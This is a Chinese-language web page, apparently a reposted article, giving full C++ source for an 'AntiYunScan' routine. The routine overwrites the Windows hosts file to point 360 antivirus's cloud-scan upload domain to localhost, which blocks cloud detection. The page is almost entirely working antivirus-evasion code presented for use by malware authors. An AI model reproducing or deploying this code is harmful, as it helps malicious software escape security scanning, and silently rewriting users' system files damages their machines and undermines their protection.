| 关键词: host comment pragma FILE 文件 AntiYunScan linker 360 PATH nbsp |
通过host域名劫持来反360云查杀的代码 用WSockExpert捕获360云查杀上传文件时候的数据包 用修改host文件的方法把qup.f.360.cn这个域名屏蔽掉就达到了反云查杀的目的 //*************************************** AntiYunScan.cpp************************************************ //By:洪流 #pragma comment(linker, "/OPT:NOWIN98") #pragma comment(linker, "/align:0x200") #pragma comment(linker, "/subsystem:windows") #include <windows.h> #include <stdio.h> #pragma comment(lib,"MSVCRT.lib") #pragma comment(linker,"/ENTRY:Torrent /FILEALIGN:0x200 /MERGE:.data=.text /MERGE:.rdata=.text CTION:.text,EWR /IGNORE:4078") int AntiYunScan() { char host[MAX_PATH]; GetSystemDirectory(host,MAX_PATH); //得到host目录,免疫杀毒软件 strcat(host,"\\drivers\\etc\\hosts"); SetFileAttributes(host,FILE_ATTRIBUTE_NORMAL); FILE *file; file=fopen(host,"w");//以写入的方式打开文件,"w"--write char mianyi[MAX_PATH]= "127.0.0.1 localhost\r\n" "127.0.0.1 qup.f.360.cn\r\n"; fputs(mianyi,file); fclose(file);//关闭文件 return 0; } void Torrent() { AntiYunScan(); ExitProcess(0); } //*************************************************************************************** |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|